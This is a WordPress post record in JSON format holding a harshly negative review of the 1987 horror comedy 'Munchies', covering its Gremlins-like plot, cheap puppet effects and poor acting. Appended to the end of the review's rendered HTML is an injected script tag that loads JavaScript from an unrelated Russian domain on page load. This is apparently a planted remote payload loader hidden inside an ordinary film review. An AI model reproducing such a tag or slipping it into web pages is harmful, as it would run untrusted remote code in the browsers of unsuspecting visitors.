{"id":16421,"date":"2015-08-01T12:31:20","date_gmt":"2015-08-01T18:31:20","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=16421"},"modified":"2015-07-30T12:34:40","modified_gmt":"2015-07-30T18:34:40","slug":"munchies-1987","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=16421","title":{"rendered":"Munchies (1987)"},"content":{"rendered":"<p>Munchies starts in deepest darkest Peru (looks more like a dirt road to me) where archaeologist Simon Watterman (Harvey Korman) &#038; his son Paul (Charles Stratton) are on an expedition. Simon thinks that ancient Aztec buildings were in fact spacecraft control centres &#038; he is on a mission to gain proof that alien lifeforms have visited Earth, while in once such structure he discovers a strange small creature which he sticks in his backpack &#038; takes back home with him to the small American town of Sweetwater in California. Simon feels that the creature is the proof he has been looking for &#038; for some inexplicable reason decides to leave the thing at home while he goes to share his discovery. Simon ask&#8217;s Paul &#038; his wife Cindy (Nadine Van der Velde) to take care of it. Meanwhile Simon&#8217;s brother &#038; fast-food businessman Cecil Watterman (Harvey Korman again) steals the creature so his brother won&#8217;t make any money out of it, but his idiotic stepson Dude (Jon Stafford) has a fight with it &#038; chops it up with a knife but the individual parts grow back into separate little creatures that proceed to cause much havoc amongst the townspeople&#8230;<\/p>\n<p>Directed by Bettina Hirsch this has to be one of the worst horror comedy&#8217;s ever, if not the worst. The script by Lance Smith is so unfunny it&#8217;s painful. Every joke in Munchies misses the target by the proverbial mile, I doubt the humour in this piece of crap would even appeal to pre-teens. There just isn&#8217;t anything even remotely funny or even amusing in Munchies as far as I&#8217;m concerned. The basic story is crap too, they just happen to find this creature running around with no explanation of what it is, why no-ones ever seen it before, how it manages to learn English so quickly &#038; how it learns to drive etc. The whole thing is a big Gremlins (1984) rip-off with none of the elements that made that film so good. The character&#8217;s are moronic, the stupid Deputy (Charlie Phillips) &#038; his dad (Hardy Rawls), Cecil wearing an embarrassing wig &#038; fake moustache &#038; his air head wife Melvis (Alix Elias) &#038; more besides. They just plain embarrass &#038; are ridiculous, I defy anyone to find any of this rancid rubbish funny. Basically Munchies fails spectacularly at being either a comedy or horror &#038; ends up being, yes you&#8217;ve guessed it, crap.<\/p>\n<p>Director Hirsch was obviously working with a low budget here &#038; it shows, the entire thing takes place in two houses, the desert, some caves &#038; a miniature golf course. This is really cheap &#038; incompetent film-making. The special effects on the Munchies themselves are really awful, their just dolls that have no movement unless someone off camera pulls a string attached to it&#8217;s arm. I cannot stress how bad the effects are, these things wouldn&#8217;t convince my 4 year old nephew (as proved by me &#038; him yesterday!). Total incompetence all the way, this film sucks.<\/p>\n<p>Technically the film is terrible, bad special effects, lame production design, rubbish sets &#038; well, just everything&#8217;s crap. The acting is rotten through &#038; through, from the cops to Korman who has two roles both of which prove he can&#8217;t act &#038; isn&#8217;t funny.<\/p>\n<p>Munchies is a really bad film that fails in everything that it tries to achieve, sure watch it if you want I won&#8217;t stop you but just don&#8217;t say you weren&#8217;t warned! My advice would be to watch Gremlins again instead, but the decision is yours!<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Munchies starts in deepest darkest Peru (looks more like a dirt road to me) where archaeologist Simon Watterman (Harvey Korman) &#038; his son Paul (Charles Stratton) are on an expedition. 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